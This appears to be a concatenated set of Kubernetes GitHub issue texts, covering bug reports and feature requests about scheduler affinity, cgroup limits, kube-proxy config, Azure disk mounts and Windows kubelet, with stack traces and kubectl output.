/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/pvc_populator.go:66\r /usr/local/go/src/runtime/asm_amd64.s:2197\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x10 pc=0x19e1611 \r \r goroutine 1184  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x2c5b2c0, 0x4b44060 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/pkg/controller/volume/expand/cache.  volumeresizemap .addpvcupdate 0xc420303380, 0xc42304f860, 0xc423576fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/cache/volume_resize_map.go:92 +0x41\r k8s.io/kubernetes/pkg/controller/volume/expand.  pvcpopulator .sync 0xc420b1a410 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/pvc_populator.go:83 +0x285\r k8s.io/kubernetes/pkg/controller/volume/expand.  pvcpopulator .sync-fm  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/pvc_populator.go:66 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc421d0bfb0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc42166dfb0, 0x1bf08eb000, 0x0, 0x1, 0xc4206791a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc4209607b0, 0x1bf08eb000, 0xc4206791a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r k8s.io/kubernetes/pkg/controller/volume/expand.  pvcpopulator .run 0xc420b1a410, 0xc4206791a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/pvc_populator.go:66 +0x5c\r created by k8s.io/kubernetes/pkg/controller/volume/expand.  expandcontroller .run\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/expand_controller.go:156 +0x1c7\r    \r \r  /assign @gnufied

is this a bug report or feature request?  :\r  \r see https://github.com/kubernetes/kubernetes/pull/52028 for details of what is required.\r \r /area ipv6\r 

i have a k8s 1.6 cluster with calico network deployed, can anyone give me the correct process to upgrade k8s cluster to v1.7.3\r \r my process is \r \r 1. upgrade kubelet on each nodes\r \r 2. upgrade apiservre  kube-apiserver\r kube-controller-manager\r kube-scheduler\r policy-controller  on master node\r \r 3. upgrade other management service.\r \r is this the correct process ?

bug report\r \r  \r   what happened  :\r kubeadm checks that bridge-nf-call-iptables  ipv4  is set, but does not check for\r bridge-nf-call-ip6tables  ipv6 \r \r   what you expected to happen  :\r if ipv6 is being used, then kubeadm should check for bridge-nf-call-ip6tables \r \r   how to reproduce it  as minimally and precisely as possible   :\r just running kubeadm, however it's only a problem when running ipv6\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r we've deployed kube 1.8.2 and are seeing following errors:\r \r    \r failed to update node allocatable limits \ \ : failed to set supported cgroup subsystems for cgroup : failed to set config for supported subsystems : failed to write 8201408512 to memory.limit_in_bytes: write /var/lib/docker/devicemapper/mnt/69641d63999364ce6bed9ff9a37e18922d1738df76d84db691a854f0e931e435/rootfs/sys/fs/cgroup/memory/memory.limit_in_bytes: invalid argument\r \r kubelet: e1116 09:26:19.176810 10132 helpers.go:138  readstring: failed to read \ /sys/fs/cgroup/memory/system.slice/docker-d0b90be4bc0f7a2dd8669b5955b3355c16140eaff3df8264cd6f3c9236218067.scope/memory.limit_in_bytes\ : read /sys/fs/cgroup/memory/system.slice/docker-d0b90be4bc0f7a2dd8669b5955b3355c16140eaff3df8264cd6f3c9236218067.scope/memory.limit_in_bytes: no such device\r \r  kubelet: e1116 09:20:02.379813 15458 helpers.go:138  readstring: failed to read \ /sys/fs/cgroup/memory/user.slice/user-997.slice/session-192267.scope/memory.soft_limit_in_bytes\ : read /sys/fs/cgroup/memory/user.slice/user-997.slice/session-192267.scope/memory.soft_limit_in_bytes: no such device\r    \r \r this is somehow related to https://github.com/kubernetes/kubernetes/issues/42701, but we thought it was fixed in 1.8.\r \r the cgroup driver we use is cgroupfs.\r \r   what you expected to happen  :\r \r no errors\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use kubespray to install kubernetes multi-master\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2+coreos.0\ , gitcommit:\ 4c0769e81ab01f47eec6f34d7f1bb80873ae5c2b\ , gittreestate:\ clean\ , builddate:\ 2017-10-25t16:24:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2+coreos.0\ , gitcommit:\ 4c0769e81ab01f47eec6f34d7f1bb80873ae5c2b\ , gittreestate:\ clean\ , builddate:\ 2017-10-25t16:24:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  : 3.10.0-693.2.2.el7.x86_64\r - install tools: kubespray\r

 \r   what happened  :\r \r i upgraded a kubernetes engine cluster from 1.7.2 to 1.8.3-gke.0. all pods for deployments and statefulsets using a  podantiaffinity  rule with  requiredduringschedulingignoredduringexecution  stay pending with the following message\r \r    \r warning  failedscheduling  14s  x13037 over 2d   default-scheduler  node 'gke-development-euro-auto-scaling-pre-33198d65-jtwt' not found\r    \r \r this node actually doesn't exist. and all pending pods show this same node name for the reason it's still pending.\r \r as soon as i remove the affinity rules from a deployment or statefulset the pods are updated and running in no time.\r \r one of the affinity settings i removed looked as follows:\r \r    \r      affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: app\r                 operator: in\r                 values:\r                 - grafana\r             topologykey: kubernetes.io/hostname            \r    \r \r after removing the affinity and getting the pods to run, adding the affinity rules again leads to pending pods again.\r \r   what you expected to happen  :\r \r affinity rules to be respected and pods to be scheduled. the cluster has 13 n1-highmem-8 nodes, which is more then enough to schedule the pending pods.\r \r    \r name                                                  status    roles     age       version\r gke-development-euro-auto-scaling-pre-33198d65-0jsc   ready     <none>    1h        v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-22fq   ready     <none>    5h        v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-23lq   ready     <none>    16h       v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-365l   ready     <none>    8h        v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-5prt   ready     <none>    9h        v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-6n4k   ready     <none>    4h        v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-8l69   ready     <none>    4h        v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-8vz0   ready     <none>    12h       v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-9qnb   ready     <none>    9h        v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-d7pr   ready     <none>    4h        v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-lgcq   ready     <none>    41m       v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-wm6l   ready     <none>    1h        v1.8.3-gke.0\r gke-development-euro-auto-scaling-pre-33198d65-wxl2   ready     <none>    12h       v1.8.3-gke.0\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i'm not sure as i have other clusters running  1.8.3-gke.0  that don't exhibit the same issue.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r 1.8.3-gke.0\r    \r - cloud provider or hardware configuration: \r    \r google cloud, zone europe-west1-c\r    \r - os  e.g. from /etc/os-release :\r    \r build_id=9592.90.0\r name=\ container-optimized os\ \r kernel_commit_id=c0dda75c2c06905ff4a2e8b41de27d4f2d773856\r google_crash_id=lakitu\r version_id=60\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=60\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  :\r    \r linux gke-development-euro-auto-scaling-pre-33198d65-0jsc 4.4.64+  1 smp wed aug 30 20:27:36 pdt 2017 x86_64 in\r tel r  xeon r  cpu @ 2.50ghz genuineintel gnu/linux\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r windows kubelet.exe uses getphysicallyinstalledsystemmemory to get physical memory installed on windows machine and reports it as part of node metrics to heapster, etc. on vmware fusion, getphysicallyinstalledsystemmemory fails to read data from smbios firmware tables and returns error code 0x0d. that causes kubelet.exe on windows to bail out. it is also reported on virtualbox.\r \r   what you expected to happen  :\r windows kubelet.exe should be able read to physical memory on the system and shouldn't exit.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run kubelet.exe on vmware fusion or virtualbox .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : windows\r - kernel  e.g.  uname -a  :\r - install tools:\r - others: vmware fusion or virtualbox\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > \r >  \r \r   what happened  :\r \r   what you expected to happen  :\r hope to add a structure in node status to record the resource could be allocated for the pods to be scheduled to the node, or a structure of allocated resource list of the node:\r    \r type nodestatus struct {\r      ...\r     // allocated represents the resource already allocated by the pods running on the node, kubelet will update the phase when there is event of pod add/delete\r     allocated resourcelist  json:\ allocated,omitempty\  protobuf:\ bytes,2,rep,name=allocated,casttype=resourcelist,castkey=resourcename\  \r     ...\r }\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r    \r

may i ask the idea of this strategy design?\r when node is notready,immediately set the pod status of the current node to \ ready=false\ .in this case, the pod will be offline from the load balance.\r    \r // report node event.\r \t\t\tif currentreadycondition.status != v1.conditiontrue && observedreadycondition.status == v1.conditiontrue {\r \t\t\t\trecordnodestatuschange nc.recorder, node, \ nodenotready\  \r \t\t\t\tif err = markallpodsnotready nc.kubeclient, node ; err != nil {\r \t\t\t\t\tutilruntime.handleerror fmt.errorf \ unable to mark all pods notready on node %v: %v\ , node.name, err  \r \t\t\t\t}\r \t\t\t}\r    \r

what happened  :\r \r if i use a  kubeproxyconfiguration  file with  kube-proxy  an pass in the  --config  flag, i can't disable the healthz port. my  kubeproxyconfiguration  looks like this:\r \r    \r apiversion: kubeproxy.config.k8s.io/v1alpha1\r kind: kubeproxyconfiguration\r clustercidr: \ <cluster cidr>\ \r healthzbindaddress: \ \ \r iptables:\r   masqueradebit: 30\r clientconnection:\r   kubeconfig: \ <kube config file>\ \r    \r \r even though  healthzbindaddress  is set to an empty string,  kube-proxy  still starts a healthz server on port 10256.\r \r   what you expected to happen  :\r the kube-proxy binary would not expose a healthz port\r \r   how to reproduce it  as minimally and precisely as possible   :\r start  kube-proxy  with  --config <config file path>  with the above config file.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.11.0-beta.0\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r - kernel  e.g.  uname -a  :\r  linux wsong-testkit-c24b51-ubuntu-0 4.4.0-127-generic  153-ubuntu smp sat may 19 10:58:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r

\r   what would you like to be added  :\r the  in default scheduler consider the  pod in the lessfunc  ,\r but when the priorities are equal the assignment is random i.e. any pod could be scheduled first.\r https://github.com/kubernetes/kubernetes/blob/06e737367d0b53b59e64e464f4a3a2393a40b7d7/pkg/scheduler/util/utils.go l74\r \r   why is this needed  :\r this allows the scheduler to look at the creation time of the pod while assigning priorities if the 2 pods in question have their same priorities. allowing pods which were created first to be assigned before similar pods.\r \r  

as we move to using crd's more we have use cases for not letting the kubelet be schedulable until certain crd's have been installed or certain initialization actions have been performed with them. it would be nice to have a generic feature that hooks into kubelet node status ready condition that can check whether certain crd's are installed or not and post an error  and make kubelet notready  if those crd's are not available.\r \r this becomes more important as many core  required for functionality  new kubernetes api's are being made into crds. without the crd installed some core functionality will not work so we need a mechanism to ensure that the crds exist.\r \r functionality has a dependency on:  70910\r \r /cc @saad-ali \r   \r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r support ordinal index for normal  stateless  pod.\r \r   why is this needed  :\r when we use docker swarm, there is a {{ .task.slot }}, which we use in a lot of scenario.  e.g. set spring cloud stream's instance index and identity application instance for logging . but kubernetes only support this feature for stateful-set. it will be very helpful to support this feature for stateless pod either.\r \r @kubernetes/sig-contributor-experience-feature-requests\r \r <!-- do not edit below this line -->\r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : \r i create an image named aspnet-api-demo, which can run on windows server 2019. but on kubernetes, the container was killed as soon as started and could not be started forever.\r \r     bash\r k8s@fs-master:~$ kubectl describe pod aspnet-api-demo-59457868fb-8gr9t\r name:               aspnet-api-demo-59457868fb-8gr9t\r namespace:          default\r priority:           0\r priorityclassname:  <none>\r node:               kube-win-1/10.244.2.2\r start time:         thu, 29 nov 2018 10:44:32 +0800\r labels:             app=aspnet-api-demo\r                     pod-template-hash=59457868fb\r annotations:        <none>\r status:             pending\r ip:                 \r controlled by:      replicaset/aspnet-api-demo-59457868fb\r containers:\r   aspnet-api-demo:\r     container id:   \r     image:          aspnet-api-demo:latest\r     image id:       \r     port:           <none>\r     host port:      <none>\r     state:          waiting\r       reason:       createcontainererror\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-p2fvl  ro \r conditions:\r   type              status\r   initialized       true \r   ready             false \r   containersready   false \r   podscheduled      true \r volumes:\r   default-token-p2fvl:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-p2fvl\r     optional:    false\r qos class:       besteffort\r node-selectors:  beta.kubernetes.io/os=windows\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                  age                   from                 message\r   ----     ------                  ----                  ----                 -------\r   normal   scheduled               18m                   default-scheduler    successfully assigned default/aspnet-api-demo-59457868fb-8gr9t to kube-win-1\r   normal   created                 18m                   kubelet, kube-win-1  created container\r   normal   started                 18m                   kubelet, kube-win-1  started container\r   normal   killing                 18m                   kubelet, kube-win-1  killing container with id docker://aspnet-api-demo:need to kill pod\r   warning  failedcreatepodsandbox  17m  x5 over 18m      kubelet, kube-win-1  failed create pod sandbox: rpc error: code = unknown desc = failed to create a sandbox for pod \ aspnet-api-demo-59457868fb-8gr9t\ : error response from daemon: conflict. the container name \ /k8s_pod_aspnet-api-demo-59457868fb-8gr9t_default_b3979c38-f380-11e8-9b24-0050569978f6_0\  is already in use by container \ 949186736f2593ce6c0e75ef080ad61502a6c472272911cbdf0633b907727241\ . you have to remove  or rename  that container to be able to reuse that name.\r   warning  failedcreatepodsandbox  17m  x3 over 17m      kubelet, kube-win-1  failed create pod sandbox: rpc error: code = unknown desc = failed to create a sandbox for pod \ aspnet-api-demo-59457868fb-8gr9t\ : error response from daemon: conflict. the container name \ /k8s_pod_aspnet-api-demo-59457868fb-8gr9t_default_b3979c38-f380-11e8-9b24-0050569978f6_0\  is already in use by container \ 51f49970ca1b1da0d5a527389b3514149f26414fd3930ca1031e2798ab9823d6\ . you have to remove  or rename  that container to be able to reuse that name.\r \r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : windows server  2019 \r - kernel  e.g.  uname -a  :  server - linux fs-master 4.15.0-39-generic  42-ubuntu smp tue oct 23 15:48:01 utc 2018 x86_64 x86_64 x86_64 gnu/linux;  node - windows server  2019 10.0.17763.134\r \r - install tools:\r kubeadm\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r it would be good to have only selflinks returned by the api-server on list based resource apis.\r ex: /api/v1/namespaces/default/pods?linksonly=true\r \r   why is this needed  :\r as the work load increases, the list apis tend to become slow due to retrieval of entire pod object.\r returning links can have following benefits\r 1  quick response for users who just want to know how many items are present and cache them for lazy loading.\r 2  now the response would be quick and selflinks contains resource names. this helps user to search resources by name in any fashion.\r \r while the feature to add conditional fieldselectors or a contains operator might be a time consuming one, this can be a low hanging fruit that opens up a lot of possibilities at the client side like lazy loading, pagination, search and indexing\r \r <!-- do not edit below this line -->\r  

what happened  :\r \r httpprobe follows redirect\r \r   what you expected to happen  :\r \r 301/302 code makes check successfull as per documentation\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:31:35z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r 

the kubelet volume manager depends on the  volumesinuse  field of the node status being updated before it can proceed with attaching a volume. since node updates happen periodically on kubelet it can take as much as 10 seconds before the field is updated.  consider a force sync for the node status update code, something like:      go     select {      case <- forcesync      case <-time.after 10 time.second       }     tryupdatenodestatus        where the  forcesync  channel can be passed to the volume manager to allow it to force updates faster than 10 seconds when needed.

kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.0.115+f6fe7c3ea759c4-dirty\ , gitcommit:\ f6fe7c3ea759c48de942225788e7b0247ca20698\ , gittreestate:\ dirty\ , builddate:\ 2016-09-05t06:05:00z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.0.115+f6fe7c3ea759c4-dirty\ , gitcommit:\ f6fe7c3ea759c48de942225788e7b0247ca20698\ , gittreestate:\ dirty\ , builddate:\ 2016-09-05t06:05:00z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : azure -   os    e.g. from /etc/os-release : rhel7.2 -   kernel    e.g.  uname -a  :   3.10.0-327.10.1.el7.x86_64  1 smp sat jan 23 04:54:55 est 2016 x86_64 x86_64 x86_64 gnu/linux    what happened  : azure disk fail to mount on rhel7.2 with ntfs fstype    what you expected to happen  : pod using azure disk with ntfs format could be running    how to reproduce it    as minimally and precisely as possible : 1. set up a all-in-one cluster via hack/local-up-cluster.sh and enable azure cloud provider 2. create a pod consume the azure disk with ntfs type 3. check the pod status  $kc describe pods azurentfs  conditions:   type      status   initialized   true    ready     false    podscheduled  true  volumes:   azure:     type:       azuredisk  an azure data disk mount on the host and bind mount to the pod      diskname:       qetestntfs.vhd     diskuri:        https://someacount.blob.core.windows.net/vhds/qetestntfs.vhd     fstype:     ntfs     cachingmode:    none     readonly:       false   default-token-ke8ge:     type:   secret  a volume populated by a secret      secretname: default-token-ke8ge qos class:  besteffort tolerations:    <none> events:   firstseen lastseen    count   from            subobjectpath   type        reason      message  ---    2m        2m      1   {default-scheduler }            normal      scheduled   successfully assigned azurentfs to qe-wehe-kube   40s       40s     1   {kubelet qe-wehe-kube}          warning     failedmount unable to mount volumes for pod \ azurentfs_default 87e96189-74c0-11e6-a126-000d3a12381e \ : timeout expired waiting for volumes to attach/mount for pod \ azurentfs\ /\ default\ . list of unattached/unmounted volumes= azure    40s       40s     1   {kubelet qe-wehe-kube}          warning     failedsync  error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ azurentfs\ /\ default\ . list of unattached/unmounted volumes= azure    30s       6s      6   {kubelet qe-wehe-kube}          warning     failedmount mountvolume.mountdevice failed for volume \ kubernetes.io/azure-disk/qetestntfs.vhd\   spec.name: \ azure\   pod \ 87e96189-74c0-11e6-a126-000d3a12381e\   uid: \ 87e96189-74c0-11e6-a126-000d3a12381e\   with: mount failed: exit status 32 mounting arguments: /dev/sdc /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/qetestntfs.vhd ntfs  defaults  output: mount: unknown filesystem type 'ntfs'    anything else do we need to know  : i have install the ntfs-3g followed http://www.tuxera.com/community/open-source-ntfs-3g/ $ mkfs.  mkfs.btrfs   mkfs.ext2    mkfs.ext4    mkfs.minix     mkfs.ntfs      mkfs.xfs   mkfs.cramfs  mkfs.ext3    mkfs.fat     mkfs.msdos   mkfs.vfat $ mount /dev/sdc /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/test.vhd mount: unknown filesystem type 'ntfs' but command \   mount -t ntfs-3g  \  works well. i think this maybe only happens on rhel system since the installation restriction

we have seen that on virtualbox in particular kubelet picks first interfaces, which is usually nated and is of no use. in particular the issue comes up with  kubernetes  service ip, which gets mapped to endpoint on the nated interface.

is this a bug report or feature request?    choose one :\r feature request\r \r \r it would be great if you'll add somethink like maxretryattempts for  job . like  deadline  but working on attempts count. it would be very usefull for some usecases.

jenkins  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-master/61 persistent-volume-upgrade \r \r  history  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gce-upgrade-master&include-filter-by-regex=%5eoverall%24%7cpersistent%5c-volume%5c-upgrade \r \r    \r expected error:\r     < errors.errorstring | 0xc420b76f00>: {\r         s: \ expected pod \\\ pvc-tester-2088x\\\  success: gave up waiting for pod 'pvc-tester-2088x' to be 'success or failure' after 5m0s\ ,\r     }\r     expected pod \ pvc-tester-2088x\  success: gave up waiting for pod 'pvc-tester-2088x' to be 'success or failure' after 5m0s\r not to have occurred\r \r k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutputmatcher 0xc4207009a0, 0x3799ae8, 0xf, 0xc420ab6c00, 0x0, 0xc420039e98, 0x1, 0x1, 0x38b3010 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2224 +0x240\r k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutput 0xc4207009a0, 0x3799ae8, 0xf, 0xc420ab6c00, 0x0, 0xc420039e98, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:400 +0x8a\r k8s.io/kubernetes/test/e2e/upgrades.  persistentvolumeupgradetest .testpod 0x568b4c0, 0xc4207009a0, 0x37e622c, 0x20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/persistent_volumes.go:113 +0xfc\r k8s.io/kubernetes/test/e2e/upgrades.  persistentvolumeupgradetest .test 0x568b4c0, 0xc4207009a0, 0xc4214f0000, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/persistent_volumes.go:95 +0xa5\r k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test 0xc4215f8340, 0xc4212e63c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:205 +0x1ed\r k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test-fm 0xc4212e63c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:270 +0x34\r k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do.func1 0xc4212e63c0, 0xc4212de110 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:89 +0x76\r created by k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:90 +0x1c7\r    \r \r  /assign @msau42 \r

  \r   what happened  :\r when using deployment automation from multiple teams, some have node ports set and some use dynamic allocation.\r \r   what you expected to happen  :\r it would be nice to be able to set the range of ports kubernetes uses for dynamic allocation and the range allowed to be used for fixed node port in the yamls.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a service using dynamic allocated node port\r deploy a service where the yaml sets the node port to the port allocated in the above deployment\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

there are cases like:\r \r 1. deploy a registry into k8s, without registry running, we should have some seed images and that can only be tarball.\r 2. resilient to registry failure. when there is outage of registry, we can have a fallback way to proceed with deployment.\r \r and i just checked the code, i believe there won't be too much code change to support this. if folks thinks it is a nice feature, i can help on this.\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r after upgrading to k8s 1.7.10 i am seeing these errors\r \r  fluentd-gcp: 2017-11-30 23:34:35 +0000  warn : emit transaction failed: error_class=errno::enoent error=\ no such file or directory @ sys_fail2 -  /var/log/fluentd-buffers/kubernetes.containers.buffer..b55f3b6683f4036be.log, /var/log/fluentd-buffers/kubernetes.containers.buffer..q55f3b6683f4036be.log \  \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.10\r - cloud provider or hardware configuration: google gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

